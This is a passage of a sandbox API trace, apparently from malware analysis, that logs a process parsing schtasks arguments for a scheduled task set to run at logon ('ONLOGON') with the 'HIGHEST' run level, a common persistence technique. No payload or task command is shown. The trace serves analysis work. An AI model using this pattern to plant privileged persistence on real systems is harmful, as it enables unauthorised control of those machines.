wMatch=0x53) returned 0x0 [0130.008] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0130.008] GetLastError () returned 0x0 [0130.008] lstrlenW (lpString="HIGHEST") returned 7 [0130.008] lstrlenW (lpString="HIGHEST") returned 7 [0130.008] SetLastError (dwErrCode=0x0) [0130.008] SetLastError (dwErrCode=0x0) [0130.008] lstrlenW (lpString="/f") returned 2 [0130.008] lstrlenW (lpString="-/") returned 2 [0130.008] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0130.008] lstrlenW (lpString="create") returned 6 [0130.008] lstrlenW (lpString="create") returned 6 [0130.008] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.008] lstrlenW (lpString="f") returned 1 [0130.008] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.008] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|create|") returned 8 [0130.008] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.008] lstrlenW (lpString="|create|") returned 8 [0130.008] lstrlenW (lpString="|f|") returned 3 [0130.008] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0130.008] SetLastError (dwErrCode=0x490) [0130.008] lstrlenW (lpString="?") returned 1 [0130.008] lstrlenW (lpString="?") returned 1 [0130.008] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.008] lstrlenW (lpString="f") returned 1 [0130.008] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.009] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|?|") returned 3 [0130.009] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.009] lstrlenW (lpString="|?|") returned 3 [0130.009] lstrlenW (lpString="|f|") returned 3 [0130.009] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0130.009] SetLastError (dwErrCode=0x490) [0130.009] lstrlenW (lpString="s") returned 1 [0130.009] lstrlenW (lpString="s") returned 1 [0130.009] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.009] lstrlenW (lpString="f") returned 1 [0130.009] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.009] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|s|") returned 3 [0130.009] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.009] lstrlenW (lpString="|s|") returned 3 [0130.009] lstrlenW (lpString="|f|") returned 3 [0130.009] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0130.009] SetLastError (dwErrCode=0x490) [0130.009] lstrlenW (lpString="u") returned 1 [0130.009] lstrlenW (lpString="u") returned 1 [0130.009] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.009] lstrlenW (lpString="f") returned 1 [0130.009] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.009] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|u|") returned 3 [0130.009] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.009] lstrlenW (lpString="|u|") returned 3 [0130.009] lstrlenW (lpString="|f|") returned 3 [0130.009] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0130.009] SetLastError (dwErrCode=0x490) [0130.010] lstrlenW (lpString="p") returned 1 [0130.010] lstrlenW (lpString="p") returned 1 [0130.010] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.010] lstrlenW (lpString="f") returned 1 [0130.010] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.010] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|p|") returned 3 [0130.010] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.010] lstrlenW (lpString="|p|") returned 3 [0130.010] lstrlenW (lpString="|f|") returned 3 [0130.010] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0130.010] SetLastError (dwErrCode=0x490) [0130.010] lstrlenW (lpString="ru") returned 2 [0130.010] lstrlenW (lpString="ru") returned 2 [0130.010] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.010] lstrlenW (lpString="f") returned 1 [0130.010] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.010] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|ru|") returned 4 [0130.010] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.010] lstrlenW (lpString="|ru|") returned 4 [0130.010] lstrlenW (lpString="|f|") returned 3 [0130.010] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0130.010] SetLastError (dwErrCode=0x490) [0130.010] lstrlenW (lpString="rp") returned 2 [0130.010] lstrlenW (lpString="rp") returned 2 [0130.010] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.010] lstrlenW (lpString="f") returned 1 [0130.010] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.011] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rp|") returned 4 [0130.011] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.011] lstrlenW (lpString="|rp|") returned 4 [0130.011] lstrlenW (lpString="|f|") returned 3 [0130.011] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0130.011] SetLastError (dwErrCode=0x490) [0130.011] lstrlenW (lpString="sc") returned 2 [0130.011] lstrlenW (lpString="sc") returned 2 [0130.011] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.011] lstrlenW (lpString="f") returned 1 [0130.011] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.011] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|sc|") returned 4 [0130.011] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.011] lstrlenW (lpString="|sc|") returned 4 [0130.011] lstrlenW (lpString="|f|") returned 3 [0130.011] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0130.011] SetLastError (dwErrCode=0x490) [0130.011] lstrlenW (lpString="mo") returned 2 [0130.011] lstrlenW (lpString="mo") returned 2 [0130.011] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.011] lstrlenW (lpString="f") returned 1 [0130.011] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.011] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|mo|") returned 4 [0130.011] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.011] lstrlenW (lpString="|mo|") returned 4 [0130.011] lstrlenW (lpString="|f|") returned 3 [0130.011] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0130.012] SetLastError (dwErrCode=0x490) [0130.012] lstrlenW (lpString="d") returned 1 [0130.012] lstrlenW (lpString="d") returned 1 [0130.012] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.012] lstrlenW (lpString="f") returned 1 [0130.012] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.012] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|d|") returned 3 [0130.012] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.012] lstrlenW (lpString="|d|") returned 3 [0130.012] lstrlenW (lpString="|f|") returned 3 [0130.012] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0130.012] SetLastError (dwErrCode=0x490) [0130.012] lstrlenW (lpString="m") returned 1 [0130.012] lstrlenW (lpString="m") returned 1 [0130.012] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.012] lstrlenW (lpString="f") returned 1 [0130.012] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.012] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|m|") returned 3 [0130.012] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.012] lstrlenW (lpString="|m|") returned 3 [0130.012] lstrlenW (lpString="|f|") returned 3 [0130.012] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0130.012] SetLastError (dwErrCode=0x490) [0130.012] lstrlenW (lpString="i") returned 1 [0130.012] lstrlenW (lpString="i") returned 1 [0130.012] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.012] lstrlenW (lpString="f") returned 1 [0130.012] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.013] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|i|") returned 3 [0130.013] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.013] lstrlenW (lpString="|i|") returned 3 [0130.013] lstrlenW (lpString="|f|") returned 3 [0130.013] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0130.013] SetLastError (dwErrCode=0x490) [0130.013] lstrlenW (lpString="tn") returned 2 [0130.013] lstrlenW (lpString="tn") returned 2 [0130.013] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.013] lstrlenW (lpString="f") returned 1 [0130.013] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.013] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tn|") returned 4 [0130.013] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.013] lstrlenW (lpString="|tn|") returned 4 [0130.013] lstrlenW (lpString="|f|") returned 3 [0130.013] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0130.013] SetLastError (dwErrCode=0x490) [0130.013] lstrlenW (lpString="tr") returned 2 [0130.013] lstrlenW (lpString="tr") returned 2 [0130.013] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.013] lstrlenW (lpString="f") returned 1 [0130.013] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.013] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tr|") returned 4 [0130.013] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.013] lstrlenW (lpString="|tr|") returned 4 [0130.013] lstrlenW (lpString="|f|") returned 3 [0130.013] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0130.013] SetLastError (dwErrCode=0x490) [0130.014] lstrlenW (lpString="st") returned 2 [0130.014] lstrlenW (lpString="st") returned 2 [0130.014] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.014] lstrlenW (lpString="f") returned 1 [0130.014] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.014] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|st|") returned 4 [0130.014] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.014] lstrlenW (lpString="|st|") returned 4 [0130.014] lstrlenW (lpString="|f|") returned 3 [0130.014] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0130.014] SetLastError (dwErrCode=0x490) [0130.014] lstrlenW (lpString="sd") returned 2 [0130.014] lstrlenW (lpString="sd") returned 2 [0130.014] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.014] lstrlenW (lpString="f") returned 1 [0130.014] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.014] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|sd|") returned 4 [0130.014] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.014] lstrlenW (lpString="|sd|") returned 4 [0130.014] lstrlenW (lpString="|f|") returned 3 [0130.014] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0130.014] SetLastError (dwErrCode=0x490) [0130.014] lstrlenW (lpString="ed") returned 2 [0130.014] lstrlenW (lpString="ed") returned 2 [0130.014] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.014] lstrlenW (lpString="f") returned 1 [0130.014] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.015] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|ed|") returned 4 [0130.015] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.015] lstrlenW (lpString="|ed|") returned 4 [0130.015] lstrlenW (lpString="|f|") returned 3 [0130.015] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0130.015] SetLastError (dwErrCode=0x490) [0130.015] lstrlenW (lpString="it") returned 2 [0130.015] lstrlenW (lpString="it") returned 2 [0130.015] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.015] lstrlenW (lpString="f") returned 1 [0130.015] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.015] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|it|") returned 4 [0130.015] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.015] lstrlenW (lpString="|it|") returned 4 [0130.015] lstrlenW (lpString="|f|") returned 3 [0130.015] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0130.015] SetLastError (dwErrCode=0x490) [0130.015] lstrlenW (lpString="et") returned 2 [0130.015] lstrlenW (lpString="et") returned 2 [0130.015] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.015] lstrlenW (lpString="f") returned 1 [0130.015] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.015] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|et|") returned 4 [0130.015] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.015] lstrlenW (lpString="|et|") returned 4 [0130.015] lstrlenW (lpString="|f|") returned 3 [0130.015] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0130.015] SetLastError (dwErrCode=0x490) [0130.016] lstrlenW (lpString="k") returned 1 [0130.016] lstrlenW (lpString="k") returned 1 [0130.016] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.016] lstrlenW (lpString="f") returned 1 [0130.016] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.016] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|k|") returned 3 [0130.016] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.016] lstrlenW (lpString="|k|") returned 3 [0130.016] lstrlenW (lpString="|f|") returned 3 [0130.016] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0130.016] SetLastError (dwErrCode=0x490) [0130.016] lstrlenW (lpString="du") returned 2 [0130.016] lstrlenW (lpString="du") returned 2 [0130.016] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.016] lstrlenW (lpString="f") returned 1 [0130.016] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.016] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|du|") returned 4 [0130.016] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.016] lstrlenW (lpString="|du|") returned 4 [0130.016] lstrlenW (lpString="|f|") returned 3 [0130.016] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0130.016] SetLastError (dwErrCode=0x490) [0130.016] lstrlenW (lpString="ri") returned 2 [0130.016] lstrlenW (lpString="ri") returned 2 [0130.016] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.016] lstrlenW (lpString="f") returned 1 [0130.016] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.016] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|ri|") returned 4 [0130.017] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.017] lstrlenW (lpString="|ri|") returned 4 [0130.017] lstrlenW (lpString="|f|") returned 3 [0130.017] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0130.017] SetLastError (dwErrCode=0x490) [0130.017] lstrlenW (lpString="z") returned 1 [0130.017] lstrlenW (lpString="z") returned 1 [0130.017] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.017] lstrlenW (lpString="f") returned 1 [0130.017] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.017] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|z|") returned 3 [0130.017] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.017] lstrlenW (lpString="|z|") returned 3 [0130.017] lstrlenW (lpString="|f|") returned 3 [0130.017] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0130.017] SetLastError (dwErrCode=0x490) [0130.017] lstrlenW (lpString="f") returned 1 [0130.017] lstrlenW (lpString="f") returned 1 [0130.017] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.017] lstrlenW (lpString="f") returned 1 [0130.017] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.017] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.017] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|f|") returned 3 [0130.017] lstrlenW (lpString="|f|") returned 3 [0130.017] lstrlenW (lpString="|f|") returned 3 [0130.017] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0130.017] SetLastError (dwErrCode=0x0) [0130.018] SetLastError (dwErrCode=0x0) [0130.018] GetProcessHeap () returned 0x250000 [0130.018] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd80 [0130.018] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.018] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0130.018] lstrlenW (lpString="LIMITED") returned 7 [0130.018] GetProcessHeap () returned 0x250000 [0130.018] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x10) returned 0x26d610 [0130.018] GetThreadLocale () returned 0x409 [0130.018] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0130.018] GetProcessHeap () returned 0x250000 [0130.018] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd50 [0130.018] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.018] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0130.073] lstrlenW (lpString="HIGHEST") returned 7 [0130.073] GetProcessHeap () returned 0x250000 [0130.073] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x10) returned 0x26d630 [0130.073] GetThreadLocale () returned 0x409 [0130.073] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0130.073] GetProcessHeap () returned 0x250000 [0130.073] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd20 [0130.073] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.073] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0130.073] lstrlenW (lpString="MINUTE") returned 6 [0130.073] GetProcessHeap () returned 0x250000 [0130.073] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26d650 [0130.073] GetThreadLocale () returned 0x409 [0130.073] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0130.073] GetProcessHeap () returned 0x250000 [0130.073] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26ccf0 [0130.073] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.074] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0130.074] lstrlenW (lpString="HOURLY") returned 6 [0130.074] GetProcessHeap () returned 0x250000 [0130.074] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26d670 [0130.074] GetThreadLocale () returned 0x409 [0130.074] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0130.074] GetProcessHeap () returned 0x250000 [0130.074] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26ccc0 [0130.074] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.074] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0130.074] lstrlenW (lpString="DAILY") returned 5 [0130.074] GetProcessHeap () returned 0x250000 [0130.074] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xc) returned 0x26d690 [0130.074] GetThreadLocale () returned 0x409 [0130.074] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0130.074] GetProcessHeap () returned 0x250000 [0130.074] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc90 [0130.074] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.074] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0130.074] lstrlenW (lpString="WEEKLY") returned 6 [0130.074] GetProcessHeap () returned 0x250000 [0130.074] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26d6b0 [0130.074] GetThreadLocale () returned 0x409 [0130.074] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0130.074] GetProcessHeap () returned 0x250000 [0130.074] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc60 [0130.074] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.074] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0130.075] lstrlenW (lpString="MONTHLY") returned 7 [0130.075] GetProcessHeap () returned 0x250000 [0130.075] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x10) returned 0x26d6d0 [0130.075] GetThreadLocale () returned 0x409 [0130.075] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0130.075] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.075] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0130.075] lstrlenW (lpString="ONCE") returned 4 [0130.075] GetProcessHeap () returned 0x250000 [0130.075] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xa) returned 0x26d6f0 [0130.075] GetThreadLocale () returned 0x409 [0130.075] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0130.075] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.075] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0130.075] lstrlenW (lpString="ONSTART") returned 7 [0130.075] GetThreadLocale () returned 0x409 [0130.075] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0130.075] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.075] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0130.075] lstrlenW (lpString="ONLOGON") returned 7 [0130.075] GetThreadLocale () returned 0x409 [0130.075] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0130.076] SetLastError (dwErrCode=0x0) [0130.076] GetProcessHeap () 